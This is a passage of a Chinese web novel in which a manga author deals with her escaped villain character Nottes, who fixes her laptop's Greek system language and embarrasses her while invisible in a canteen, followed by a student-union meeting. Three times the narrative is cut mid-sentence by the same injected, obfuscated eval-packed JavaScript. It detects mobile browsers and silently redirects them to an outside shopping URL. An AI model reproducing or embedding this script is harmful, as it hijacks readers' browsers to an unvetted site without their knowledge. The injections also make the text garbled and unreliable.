“饭也吃完了,事情也说完了,从我家离开。”庄森芽下了逐客令。 诺特斯扫了一眼桌子上的饭菜,祁欢没怎么吃,庄洪成更是连饭桌都没上一下,原本为四个人准备的饭菜现在还剩下差不多一半。 “很浪费啊。” “怎么,你还想打包带走?” 诺特斯没回话,站起来兀自往厨房走。 庄森芽疑惑他又要作什么妖,就看到男人拿了一卷保鲜膜出来,撑开就往菜碟上罩。 她一看,制止他,“干什么,我还没吃完。” 诺特斯扬眉,“你都半天不动筷子了。” “那还不是因为你一直在我旁边一惊一乍,谁有胃口吃东西啊。” “好吧,好吧。”他收起保鲜膜,转而把空碟子空碗运了下去,“在我身边就这么紧张吗?” 在神经病旁边谁不紧张啊? 庄森芽没有把这话说出来,她怕对方听了又做出什么出格的举动,今天她可真是跟他纠缠够了,不想再发生什么纠葛。 厨房里传来了水声,庄森芽正埋头干饭,听到声音,她困惑地抬起头来。 目光里是诺特斯的背影,他脱掉了那身黑色的皮外衣,上身是看起来很暖和的白毛衣,下身是黑色的直筒裤,身板笔直地往那一站,手上动作却是在操忙。 这幅画面顿时让庄森芽感觉到十分割裂。 他在洗碗? 一个杀人如麻,一日三餐都有人伺候的终极反派,在她家厨房的一亩三分地里洗碗? 他有病吧。 还是她眼睛出什么问题了? 诺特斯把盘子里一点残渣倒进垃圾桶里,伸手摸过洗洁精的瓶子,反手像是倒调料一样往盘子上挤,然后又拿刷碗布沿着逆时针的方向刮了一圈,把沾满了泡沫的盘子先放在一边,转而去处理下一个。 一套动作一气呵成,就仿佛没少干过这种活似的。 但是他必不可能有很多这种经验,所以现在怎么想完全就是在装模作样。 也不知道是装给谁看的。庄森芽腹诽。 不过一阵,水声停了,诺特斯擦干双手,从厨房里走出来。 “你难不成要把我家从头到尾收拾一遍才肯走吗。”庄森芽态度极差。 “那就免了。”诺特斯说,“让我打扫房间是另外的价格,一顿饭不够。” 嚯,原来是因为蹭饭所以才去洗碗的,在这种可有可无的方面讲究这些规矩,别的方面却一点也不在乎,甚至可以说冒犯无礼,这人也是脑回路不太正常。 诺特斯走到饭桌旁,朝庄森芽伸出一只手。 庄森芽狐疑地盯着,问:“干什么?” “手机。”他轻声提醒,“留一个联系方式。” 两人就在刚才不久刚刚达成了协议,将来要就各自的行动互相报备,这种时候,一个远程联系方式是必不可少的。 庄森芽从口袋里摸出自己的手机,解锁,扔在对方手上。 诺特斯接过来操作了一番,然后把它还给了她。 男人没再纠缠,转身离去,方向却不是大门,“那就之后联系。” 他直接从墙壁穿了出去,以一种不走寻常路的方式。 “!”庄森芽刚想说被人看见了怎么办,突然想起来家里已经没人了。 不禁捶了一下桌子,盯着诺特斯消失的白墙愤愤不已。 还说什么“之后联系”,她希望永远都不要再有联系了。 麻烦的人,麻烦的事,她怎么就摊上了这些? 今年可能是她的什么厄运年吧。 只有赶紧把他这尊大佛请回漫画里,这场灾厄才算过去。 不过在那之前,还是不得不和对方保持着往来。 首先,她还等着他把那台六万块的笔记本电脑带过来…… 不,她不是刻意要去提它的价格,只是,六万块的电脑,它有六万块。 六万块的电脑和几千的有什么差别呢,有五万多块钱的差别。 她只是好奇这五万多块的价值会在什么方面体现。 拿到了笔记本之后她就要开始‘奋笔疾书’了,早早送这位佛爷上西天。 另外,她记得他刚才还提到要来上茂哈里森大学开什么演唱会,这怎么想都不是件好事,这家伙只会带来数不尽的麻烦。 希望他能静悄悄地来、静悄悄地走吧。 庄森芽把最后一口白米饭扒进嘴里,然后把剩菜都送进了冰箱,收拾好了自己的东西打算回学校,下午还有一节两小时的基础数学课,她不想错过,因为担心以自己的数字钝感力,落下一节课基本就和及格说拜拜了。 为了省点钱,她走了二十分钟的路,转了一趟地铁,又坐了半个小时的公交,才回到了上茂哈里森大学。 回宿舍拿教材时,看到汪素文和莫茹两个室友在宿舍里各做各的事情,一个在投喂自己养的仓鼠,一个窝在座位上追综艺。 而石玥诗的位置还是空空如也,除了昨天晚上在学校的医务室见过一面,她几乎不怎么露脸。 昨天裴佑哲冒着雨在楼下等她,因此而感冒发烧了,庄森芽把他送到医务室之后叫来了石玥诗,离开之后,也不知道这俩人之后怎么样了。 从当时的场面来看,这两人之间的气氛实属有些奇怪。裴佑哲明明一开始是在宿舍楼下等石玥诗,可当石玥诗去医务室找他,他又是一副爱搭不理的模样。 而石玥诗那边也是,明明喜欢着裴佑哲,却疑似让人家在宿舍楼下苦苦等待。可是听说他生病了,又在深更半夜毫无怨言地赶过去照顾。 太复杂了,庄森芽完全不懂他们这些情场高手的心理回路。 在她看来,喜欢就是喜欢,互相喜欢就在一起;单恋那就追求,追求不到就放弃;被喜欢的一方也别吊着人家,没感觉就说清楚。 很简单的事情,这两人到底怎么做到纠缠一年还没有结果的? 不理解,真的不理解。 “玥诗有几天没出现了?”她问自己的舍友们。 “几乎天天都不在。”追综艺的莫茹暂停了视频,回过头来冲她说,“我上一次见到她还是在雏鸟周之前。” 庄森芽听了只觉得疑惑,“昨天也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208453|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在吗?” “没有。” 这么说石玥诗一直都不在宿舍。 那裴佑哲昨晚还在宿舍楼下等她,难道他不知道她不在? 倒也不是没有可能。 这两人要是闹了什么别扭的话,很有可能也不给对方发消息,甚至联系方式都有可能互删了。 话说回来,要给裴佑哲发个消息问候一下他的病情吗? 不,算了吧,相信石玥诗能把他照顾得很好,嘘寒问暖这种事还是留给有情人去做,她就不凑那个热闹了。 “走不?上大课去。”庄森芽呼唤自己的舍友,大一的课程有很多都是基础课,不分小班,她们总能凑在一起上。 莫茹叹息一声,关掉了综艺的视频网站,仿佛如果不是有人来叫她的话,她会一直沉浸在这个小世界里,不去面对现实生活中的繁重任务。 汪素文给小仓鼠铺好了草垫子,心情很好的样子,把教材装进她朴素的单肩背包里,和另外两个室友一起走出了宿舍。 她们来到教学区,跟着人流一起走进了阶梯教室,汪素文想坐在前排认真听课,莫茹想坐在后排摸鱼,庄森芽表示无所谓,于是几人折中了一下,选了个比较靠前的位置,既不影响听课,摸鱼也不会有什么心理负担。 讲师先做了一番自我介绍,然后给学生们陈述了这门课程主要的学习内容,以及最终考试的时间安排。 开始正式讲课后,莫茹听了十分钟就开始刷手机,汪素文则在很认真地记笔记,课程用不到电脑,学生们也懒得带那么重一块砖头,最多拿个平板在上面写写画画。 庄森芽本来也在认真听课,可是坚持了差不多二十分钟,她就开始走神了。 手痒,想画画。 上次拿起画笔还是在前天,虽然只隔了一天,但她有种被迫戒毒的感觉。 感觉身上有蚂蚁在爬。 她向莫茹借了张纸,想在上面随便画点什么东西。画任何和《灵月十四》相关的内容都有可能影响到诺特斯那边,导致他突然消失,所以她也只能画点别的。 虽然很想阴他一下,但既然都承诺了对方,在没有报备的情况下,不会贸然动笔,坚持这点原则她还是做得到的。 尽管对方是个没什么原则的败类。 况且,她也不想因为违背约定而激怒那个男人,她现在只想和对方和平相处,然后在漫画结尾突然给他来一个大的,打他一个始料不及。 所以,当下还是要选择求稳。 课程来到半个小时的时候,庄森芽在纸上画了一只猪头。 为什么要画猪,不知道,可能是因为想到了令人讨厌的家伙。 四十分钟,这只猪有了翅膀。 五十分钟,它在钢铁城市的天空飞翔。 一个小时的时候,课间休息,这只猪也被端上了工业餐盘。 莫茹探头过来,“森芽,你在画什么呀。” 庄森芽把那张纸攥进手里,揉成一团,“一条砧板上自大狂妄的鱼。” 画爽了。 后半堂课,她终于能安心听讲,别无旁顾。 41. 六万块,搞这个? 下课之后,和舍友们商量着去食堂吃饭,开学也不过三周左右,她们还没吃腻这个将要伴随她们四年的地方,几人依然对里面的菜品充满了期待。 走出阶梯教室,刚巧隔壁的教室也结束了一门课程。 两个房间都在往外走人,一时间,走廊里水泄不通。 而在这一片熙熙攘攘的人群中,庄森芽看到一个熟悉的身影一晃而过。 那是裴佑哲,他正和同班级的同学往楼梯走。所到之处,男生女生们都侧目打量他,他无论到哪都无疑是焦点。 主席的模样看起来很健康,昨晚缠绕在他身上的病态已然消失不见。 庄森芽心里想着,看来石玥诗把他照顾得很好,这下两人的关系应该能有所缓和了吧? 裴佑哲和同学路过她们几人附近,庄森芽本着关心的想法,拔高音量朝他问道:“佑哲,你病好了吗?” 她自认为声音够大,距离也足够近,可裴佑哲像是没听见一样,和旁边的人说着话,从她身边擦肩而过,连眼神也没望过来一瞬。 “唔。” 可能是没听见? 毕竟这里人太多了,所有的学生好像都在一同叽里呱啦地说话。 她没把这件事放在心上,和舍友也顺着人群往楼梯走,离开教学楼,直奔食堂而去。 饱腹一顿,时间来到了晚上。 学生们都陆陆续续地归巢,但庄森芽还有一件事情没有做。 十一点,她要去临时停工的施工楼,找诺特斯把那台价值六万块的笔记本电脑拿回来。 一想到这里,她就不由得兴奋。 以后自己也是有高级性能本的人了,开机得多快呀,启动软件得多顺畅啊,再也不用担心画到一半死机丢进度了。 她决定拿到笔记本之后先画它个昏天暗地,体验一把人上人的感觉。 在期待之中,时间很快来到了十一点。 庄森芽独自去往施工楼,却发现楼门下的入口被封了起来,不让外人擅自进出。 这可能是起因于她上次在施工楼遭遇的经历,所以学校把这栋楼封了。 可现在难办了,她该从哪进去? 庄森芽绕场一周,终于发现了一个开着的窗户,艰难地跨过去,蹭了一身的土。 施工楼里很暗,伸手不见五指,她打开手机手电筒照明,微弱的光线提供了一些昏暗的视野,庄森芽环视了一圈,却没有发现半个人影。 现在已经是十一点了,难道诺特斯迟到了? 她往一层中央走去,这里的布局还是和十几天前一样,连地上的杂物看起来都没有变过,停工中的楼几乎不会有人进来。 绕了一圈,没有发现诺特斯身影。 但是在最中央的一个临时的塑料桌上,她看到了一个灰色的电脑包。 走过去,把电脑包打开,里面有一台黑色笔记本,其他的除了电源线和鼠标以外,什么东西都没有。 笔记本摸起来做工很扎实,比一般的要重,壳子上有品牌标识,庄森芽不认识这个牌子,猜测这可能是针对特殊需求而出产的专业特供版。 这么想,这应该就是诺特斯的电脑了。 庄森芽环顾四周。 他人呢?怎么留下这么一台电脑,人却不在这里。 他就不怕有人把他的笔记本偷了?这可是相当于明晃晃的几万元现金摆在这啊,就算小偷自己不用,二手也能卖好多钱呢。 真是心大。 她把笔记本放回去,抱着沉甸甸的电脑包原路返回,从落满了灰尘的窗口翻出去,谨慎地搂着怀里的宝贝,模样反倒像是个窃贼。 天色太暗,路灯不敬业,回宿舍区的道路看起来危机重重。 可能是因为抱着贵重物品,心理开始作祟,庄森芽总觉得前方的路上有人在等着打劫她。 这个该死的诺特斯,昨天不是说好了今天会照顾她的安危吗,结果到头来他根本没出现。 还对她爸妈夸夸其谈说会关照好她,果然反派的嘴,骗人的鬼。 相信他有什么责任心的自己也是活该。 庄森芽一面气愤,一面又有些担惊受怕地往宿舍区走。 路过寂静的湖畔,穿过空无一人的步行街,她像个鬼影一样咻一下子窜进了宿舍楼。 安全了。 庄森芽只觉得出了一身冷汗,被自己各种各样的心理暗示吓得不轻。 六万块,简直是不可承受之重啊。 她抱着电脑包偷偷回宿舍,灯已经熄了,舍友们都躺在床上,不知道睡没睡。 蹑手蹑脚回到自己的座位,想打开查看一番,又怕声音惊扰了可能在熟睡的舍友。于是只好捧着自己的宝贝上了床,抱着它傻呵呵地笑。 笑着笑着就睡着了。 第二天,趁舍友不在的时候,她清空了自己乱七八糟的桌面,把电脑包放在上面,颇有仪式感地准备‘开箱’。 “让我看看你究竟是个什么货色……” 如果桌面上能有一面镜子,她就能看到自己口水快要掉下来的模样。 拉链打开,捧出这台厚重的笔记本,哑光的材质十分低调,品牌标识所用的材料一看就价格不菲,轴承隐藏在机壳下,整台笔记本浑然一体,宛如天老爷在神山上削下的一块石头,鬼斧神工。 它似乎都没被怎么用过,一丝灰尘都没有,机壳上也没有半点划痕。 敞开笔记本,颗颗排列整齐的键帽出现在她眼前,犹如饱满的玉米粒,只是静静躺在那里,却居然能彰显出一种沉静厚重的生命力。 “哇塞……”庄森芽两眼放光,伸手抚摸上去,发觉键帽的材质很特殊,居然连一点指印都不会留下。 “高级啊。”她连连赞叹,没见过世面一样。 开机键是透明的,上面有一个飞鸟标识,如一颗钻石一般嵌在那里。 她按下开机键,几乎听不到机器转动的声音,屏幕就亮了起来,一时间,动效充斥着屏幕,看得她眼花缭乱。 还没等再感叹什么,熟悉的开机界面就出现在了她的眼前,诺特斯的笔记本没有设置密码,按个回车就转到了电脑桌面。 整个过程丝滑无比,它就像是有自主的生命一样,灵敏地回应着庄森芽每个操作。 她本来应该继续连连赞叹,可当下却盯着电脑屏幕,笑容不由得有点僵硬。 从刚才开始就有点觉得不对劲,但是因为感官上的刺激而没有特别去在意。 现在不得不直面这个问题,因为开机流程结束,她现在必须要开始上手操作了。 可是…… 可是这是什么系统语言啊!? 怎么长得奇形怪状的? 陌生的文字堆积在电脑上,根本无从下手。 庄森芽趴在屏幕上,定睛瞅过去,勉强发现了几个熟悉的字符,有α还有θ。 老天爷,这不会是希腊语吧? 那种她只在数学公式里见过的语言。 换成英文也行啊,以她三脚猫的功夫还能看懂大部分。 不过这点困难难不住她,庄森芽拿起手机,在翻译器上寻找希腊语的‘设置’是哪个词。 她得到了一堆怪异的字符,而后,按照那些符号,在电脑上在菜单栏里一一对应去找。 翻了半天,好不容易找到了设置界面,打开,又是一堆陌生的文字出现在眼前。 鼓捣了十几分钟,总算找到了语言设置,点进去,试图在下拉列表里找到中文。 翻了一通下来,她悬着的心终于死了。 ……没有中文。 为什么?? 又往回翻了一遍。 见了鬼了,英文也没有! 这牌子是哪个小国制造的!?这么傲气,就是说根本看不上全球市场是吗?? 绘画启动未半而中道崩殂,她居然被卡在了未曾设想的一步。 不过,幸好昨天和诺特斯互留了联系方式,不至于一点解决方法都没有。 在通讯录里找到对方,一串问候就发了过去。 「你觉得我看得懂希腊语吗?」 「为什么电脑里没有中文。」 「我要怎么把中文调出来?」 「你是不是故意的?」 一通陈词激昂的控诉过后,对面一点动静都没有。 等了十分钟,还是没回音。 庄森芽只觉得自己的耐心消磨得非常迅速,十分钟就像一个小时那么漫长。 于是干脆不等了,一个语音通话打了过去。 过了大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208454|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有半分钟,通话被接通了。 没等对面的人说话,庄森芽先一个平A招呼了上去,“手机是拿来用的不是个摆设,联系方式互换了就代表你有义务回答我的问题,你的时间是时间我的时间也是时间,现在赶紧立刻马上给我解决。” 听筒里传来一阵摩挲声,紧接着,一个慵懒的声音响起来,“什么意思……” 那声音是诺特斯的没错,但比平时少了些攻击性,字句黏在一起,嗓音听起来有些沙哑。 庄森芽不禁愣了一下。 这家伙……声音还挺好听的,之前居然一直没发现,不过谁叫他每次登场的时候都像是来坑蒙拐骗的,给人一点好印象都没留…… ……不对,这不是重点。 “你看没看到我给你发的消息?”她质问。 对面的人发出毫无意义的低吟,带着些许鼻音,说话的声音很轻,“……我在睡觉。” 庄森芽迟钝地试图理解这句话,一个陌生的概念闯进她的脑海。 诺特斯……需要睡觉吗? 可能需要吧?他从模样上看好歹也算是个人。就算不是人,是野猪野兔子,也有睡觉的需求。 植物还有休眠的时候呢。 她转头看了一眼宿舍的窗户,外面风和日丽,晴朗无云,“都几点了还在睡,起来给我解决问题。” 对面又传来一阵摩挲声,男人发出一声低沉的叹息,“……有时差的,宝贝……” 庄森芽听了这称呼,吓得没把手机甩出去。 “你给我清醒一点,听清楚是谁在给你打电话!” 诺特斯:“唔,我弄错了吗?” “我是庄森芽!《灵月十四》的作者,庄森芽!” 决定了你生死的上帝! “那就没弄错……”男人的声音越说越小,仿佛下一秒就又要睡过去似的。 “你故意恶心我是吧!”庄森芽怒斥。 对面传来诺特斯心不在焉的辩白,“我们国家的人……一般管漂亮或者可爱的东西都叫宝贝,比如路边上的小猫小狗什么的……” 好好好,真是高级的骂人方式。她怎么从来就没听说过希腊有这种文化? “别说那么多没用的,你现在赶紧给我解决问题。”庄森芽把话题转移到正题上,“你给我的这台笔记本上面显示的是希腊语,告诉我怎么把中文调出来。” “……”对面的人好像睡着了。 “喂!” “……呃,中文?”他听起来半梦半醒,“中文是我自学的……” 什么玩意已读乱回。 “我是说,”庄森芽拔高音量,“电脑的系统语言,怎么能调整成汉语?” “在设置里面……” “我试了,没找到。” “……”对面又安静了。 “诺特斯!”庄森芽直呼他的大名,“你给我坐起来,晃晃你的脑袋,认真回答我的问题!” 男人长吟一声,似乎翻了个身,“就放在那……我会过去给你调的。” “你要多久过来?” “一个小时。”他给出了一个听起来有点离谱的时间,如果他人真的在希腊的话。 庄森芽以为他会说一两天之类的,没想到得到了一个更不着调的回答。 但她可不管那些,既然诺特斯说一个小时,不论他是坐飞机还是怎么过来,一个小时之后这台笔记本如果还是一副汉语使用者不友好的状态,她会把他的手机打爆。 “你来宿舍找我。”庄森芽顿了一下,又说,“不对,去食堂,我等下要去吃饭。” 饭点到了,她饿得不行,让她在宿舍眼巴巴等对方是绝对不可能的。 他的问题,他的责任,他自己来配合她的时间和地点。 “……好。”诺特斯囫囵地回应了一句,然后又没有动静了。 听着对面有规律的呼吸声,庄森芽有点觉得自己被耍了。 这家伙别是从头到尾都在说梦话吧,一个小时,他坐火箭过来? 猛地吸了一口气,想质问对方是不是在戏弄她,但想想又憋了回去。 你叫不醒一个装睡的人,也就叫不醒一条真的睡着了的狗。 反正一个小时之后如果见不到人影,他别想好过。 42. 独角戏 庄森芽挂掉语音通话,把笔记本电脑收回电脑包里,拎着它往食堂走。 食堂有两层,第一层是大锅饭,平价又好吃,第二层则是精致的各种小店,价格贵上一些,但方便吃腻的学生们换换口味。 庄森芽排队打了些土豆泥和青菜,就打算吃这么点东西。前一阵子雏鸟周天天下馆子,太放纵了,到现在体重还没降回来。 她选了个角落坐着,万一等一下诺特斯要是真的出现了,她可不想被人行注目礼。 因为……再怎么说,那人的外型还是太过具有迷惑性了。意思就是,不知道那家伙真面目的人,很有可能会对他产生不该有的好感。 她还记得开学典礼那天,诺特斯拿着一把尤克里里在206宿舍楼下弹奏,当时有多少围观人群就不说了,现在校园贴吧里还有人在问那天演奏的交换生是谁,读什么专业的。 没办法,谁叫她一开始构思诺特斯的人设时,给他的外貌设定就是这样。 不帅怎么当反派? 一流的反派总是要脸有脸,要实力有实力。 当然,这不是在夸他的意思。诺特斯在漫画世界中所做的一切,放到现实世界中来,千刀万剐都不为过。 这也是为什么她绝对无法让他善终。 他要是在大结局的时候活下来了,自己的一些人类的美好品质就会失去不说,读者们也会把她骂到永无出头之日。 所以诺特斯的美梦是注定不会实现的。 午饭的时间到了,食堂渐渐长满了人。 庄森芽身边也坐过来几个,大家都在专注地干饭,谁也没刻意留意谁。 就在她啃一株难以咬断的青菜时,突然,头顶上笼罩下来一片阴影。 她抬头,看到诺特斯自然而然坐在她的对面,正在系他风衣的袖口,乱发用一个发箍固定住,整个人看起来都得体了许多。 庄森芽看了眼手机,感到惊讶,“还真是一个小时……所以说你根本就没在希腊吧,你嘴里有一句真话吗?” “呃……”他干巴巴地眨眨眼,似乎有话要说。 庄森芽没管他要说什么,把面前的餐盘挪开,将纯黑色的笔记本从电脑包里翻出来,摆在两人中间,“问题现在就在这里,在我吃完饭之前给我解决。” 她语气颇为强硬,自己说出来都有些意外,她对待别人可从来都没有这样不礼貌过。 只对诺特斯一个人这样,说明不是她的问题,而是对方有问题。 男人没有行动,却是一条胳膊拄在餐桌上,戴着一只银戒指的的手挡在嘴前,像在沉思什么一般。 “怎么了,这就被难住了,别告诉你连开机怎么开都不知道吧?”庄森芽报臂在胸前,一副看好戏的模样。 “不,就只是……”他欲言又止。 “只是什么?只是故意想给我使绊子?” “……” 周围吃饭的同学投来目光,好奇地打量着他们。 庄森芽注意到了那些视线,心想这家伙在学校里果然还是太引人注目了,不能让他再吸引更多的注意,必须速战速决。 她敞开了笔记本,让屏幕面朝着诺特斯,然后按下了开机键,嘴上丝毫不饶人,“你看看这是什么,给你一台只有泰文的电脑你能用吗?” “森芽。” 突然,男人叫了她的名字。 “干什么?”这好像还是他第一次叫她的名字,听起来有点怪,她没什么好气地反问。 诺特斯直勾勾地盯着她,眼神似笑非笑,“我现在是隐身状态。” 空气一时安静。 周围的学生还在时不时投来目光。 庄森芽只感觉身上渐渐起了密密麻麻的鸡皮疙瘩。 “隐、隐——”她有些结巴,脸颊上开始燥热,“说什么?你不就在这里……” “隐身状态下好像能被你看见,我一直也搞不清是为什么。”诺特斯靠在椅背上,悠悠然解释道,“不过旁人肯定是看不见我的。” 他为了证明自己,抬起一条手臂又下坠,穿过餐桌,只留一个手掌在上面,给她比了一个‘耶’的手势。 诺特斯只有在隐身状态下才能无视物理规则,这是一条铁律。 这就证明,他刚才说的是真的。 唰一下子,庄森芽感觉一股热流直冲脑门。 感情刚才这么久,在旁人看来,她是在对着空气自说自话?还把电脑转过去给对面的空座位看,这不是妥妥的智障行为吗?! 她顿时僵住了,像个鸵鸟一样把头低了又低,一句话也说不出来,更不敢看周围同学的眼神。 原来那些人不是因为诺特斯才盯着他们看,而是因为她。 他们肯定把她当成神经病了,可能在想着要不要叫人过来看看。 诺特斯为什么刚来的时候不说清楚?简直可恶……! 她硬直五秒,瞬间暴起,把笔记本塞回电脑包里,抓上餐盘,又羞又愤地顶着一众注视溜了。 换了个没人看见的地方,难堪地坐下来,依然觉得脸上的热意不减。 简直是太尴尬了……这都什么事啊? 罪魁祸首慢悠悠跟了上来,还是坐在庄森芽的对面,为自己的行为进行苍白的解释,“我是想着,要是当众和你见面,可能会给你造成什么困扰,所以才以这种方式现身。” 他说着,扬起一个在庄森芽看起来算得上是幸灾乐祸的笑容。 诺特斯:“但没想到会是这种结果。” 庄森芽瞪了他一眼。 现在装什么善解人意?以前突然出现的时候怎么没看到他这么替人着想? 不管是百团大战那天浑身是血地现身,还是突然跑去她家里那一次,他都从来没考虑过后果。 现在四下无人,庄森芽终于能放开嗓子,“这种事情不能再有第二次!” “好,好。”在她的盛气凌人下,他做出投降的模样,“不如这样,下次我们再碰面的时候,假如我给出这个手势,就代表是隐身状态,没有手势就是正常。” 他伸出食指和中指,将它们交叠在一起,指尖汇聚在一点,宛如两个相互依偎的人。 这个建议倒是可以采纳,庄森芽感觉火气下去了一些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208455|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过最好是别再碰面了。她心想。但她知道那大概率不可能。 庄森芽再度把笔记本推到他眼前,往椅背上一靠,一副你看着办的模样。 诺特斯不知道什么时候已经解除了隐身,熟练地在电脑上操作起来,修长的手指灵巧地划过触摸板,像在弹奏什么乐器一般。 “哦,看样子是语言包被删除了。” “是吗,终于想起来自己做过这种事了?”庄森芽阴阳怪气他。 “不。”诺特斯把屏幕往下压了一些,视线越过边缘寻找着什么,而后从电脑包里把鼠标掏了出来,接上传输线,换成了鼠标操作,这套熟稔的动作显得他像是个无所不能的职场精英,“电脑是老莱诺送我的,那个人比较固执老派,还有点偏激,又不太会用电子设备,可能是一不小心把看不懂的语言都删除了。” “……”庄森芽盯着男人,后者的神情很专注。 这家伙,看起来已经完全融入这个世界了,还交到了朋友。 他做这些不觉得没意义吗?反正要不了多久,等漫画完结之后,他就要回到他原本的世界中去了。 真是个怪人。 诺特斯有一句话说得很对,她明明是《灵月十四》的作者,却完全不了解自己笔下最大的反派。 他在一页纸上诞生,生命力却是如此强劲。 真神奇。 就在庄森芽胡思乱想的时候,诺特斯已经处理好了系统语言的问题,他把屏幕一转,让它冲着庄森芽,“检查一下?” 庄森芽收回思绪,看了一眼系统设置页面,又打开浏览器逛了一圈,看起来语言已经调整了过来,没什么问题。 她条件反射想说“谢谢”,却突然反应过来眼前的人是谁,于是换成了一副有些傲然的模样,微微仰起头,“好了,这没你什么事了,你走吧。” 她语气就仿佛对方是什么召之即来挥之即去的仆人一样。 诺特斯似乎对此没什么感觉,起身就要离开,临行前还不忘了把椅子推进桌子底下,“有什么事再叫我。” 庄森芽倒是有点不适应,以前哪有这么称心如意的时候,从来她的命令都没被他重视过,被忽略才是常态。 现在怎么这么乖? 她狐疑地盯着男人的背影,可直到他的身影消失在食堂的大门口,除了吸引来一些打量的视线以外,什么事情也没发生。 他就这么走了? 来一趟,真的就是为了帮她把电脑的系统语言调好,什么事也不搞,就这么走了? ……他今天是不是吃错药了? 庄森芽紧皱着眉,无法理解男人的行为准则是什么。 或许那家伙根本也没有什么准则,只是凭自己的心情行事。 她放弃了思考,索性不再去想了。 又不是盼着他搞事,他老实点对他俩彼此都好。 她悠哉地把盘子剩下的一点菜打扫了,将餐盘放在指定的回收地点,捧着电脑包回到了宿舍。 接下来,是她和它的二人世界。 没有人,可以,阻止她,画稿! 43. 变化的人 那之后,她画了个昏天暗地。 直到星夜漫天,开门声响起,舍友回来,她才迅速收起手绘板,结束了伏案的状态。 腰酸背痛,脑袋都麻了,别人和她说话,庄森芽总要反应两秒才接得上。 但是,爽,很爽。 高级性能本就是不一样,连枯燥的重复作业都让人上瘾。 漫画的进度离结局更近了一些,她比任何人都期待那一天的到来。 当天夜里,舍友汪素文对她说,学生部外联会明天中午有个会议,问她要不要一起过去,开完会再吃个饭。 庄森芽下午的时候隐约记得在手机上收到了这条消息,似乎明天的确是有什么事,好像还是个挺重要的会议,于是她答应了汪素文。 于是第二天下了课,两人就结伴直奔活动大楼而去。 去之前看了一眼群消息,大概了解了一下今天的会议内容。 这是本学期外联部的第一批正式会议,分成好几个拨次开,部长副部长每场都会出席,主要是就这学期的各类活动安排进行一下讲述与分配。 两人来得比较早,到了活动室门口,往里面大概扫了一眼,看到一张巨大的圆桌旁只坐了两个人,大部队还没到。 盯着那两个身影,庄森芽发出疑惑的声音,“咦?” “怎么了?”汪素文问她。 庄森芽看着里面那个熟悉的身影,嘀咕说:“怎么佑哲也来了……” 闻言,汪素文也探头朝里面打量。正对着门口的席位上,坐着两个男生,一个是裴佑哲,另一个从面相上来看像是新生。 “真的,主席居然也在。”汪素文发出小声的感叹,同样有些意外。 这只是个外联部内部会议,然而学生会主席却到场了。 此刻的裴佑哲正在和他身边的男生谈话,他在学生会的时候总是一副精英人士的模样,看起来完美至极,毫无破绽。 前些天和石玥诗那些事仿佛对他一点影响都没有,现在情绪稳定得可怕。 会议室内的交谈传了出来,是坐在裴佑哲身边的那个男生在讲话,“我高中的时候也当过一年班长,很辛苦,但是老师们都夸我做得不错。可能真的很不错吧,但我只是尽心尽力完成我自己的任务。不过这点小小的职能和主席您比起来就是小巫见大巫了,将来我还是要多多向您学习才是。” 男生身体朝裴佑哲的方向转过去,脸上挤满了虚情假意的笑容。 裴佑哲一副看破不戳破的模样,“学生会中的确有很多锻炼的机会,阳羽,你很有实力,我很看好你。” 男生挠了挠后脑勺,脸上是不好意思的表情,“是吗……” 听到这个名字,加之观察了半天,庄森芽终于认出来圆桌边上另外那个男生是谁。 那人是学生会外联部见面活动当天,和庄森芽分到一个临时小组的人。男生没什么礼貌,直截了当问她为什么面试只面了一轮,而且说话的方式听着让人很不舒服。 她记得他的全名是叫陆阳羽。 就在往房间内观察的同时,里面的人也注意到了门口的她们。 裴佑哲望过来,神色依旧。 而陆阳羽的表情则精彩多了,讪笑从他的脸上倏然消失不见,换上了一副带着些鄙夷的表情。 他侧头对旁边的裴佑哲说:“主席,您知道我们这次招新面试有多水吗?” 他声音不大,但是刻意控制在所有人都能听见的音量。 “怎么?”裴佑哲问他。 “有些人面了一轮就进了学生会,还是对个人能力要求特别高的外联部。”陆阳羽说,边说边往庄森芽的方向扫视,“什么时候学生会改成靠脸吃饭了?只能说风气有问题,我怀疑是面试官里有人收了好处。” “……”裴佑哲无言。 庄森芽压住了上扬的嘴角。 陆阳羽,你所说的面试官就在你旁边坐着,就问尴不尴尬? 裴佑哲咳嗽了一声,“之后我会留意这个情况的。” 陆阳羽盯着庄森芽,大声说:“拜托你了,主席,一定要把那些没能力的混子赶出去,不然我们学生会的名声就要受损了。” 庄森芽坦坦荡荡走了进去,和汪素文两人坐在男生们的斜对侧。 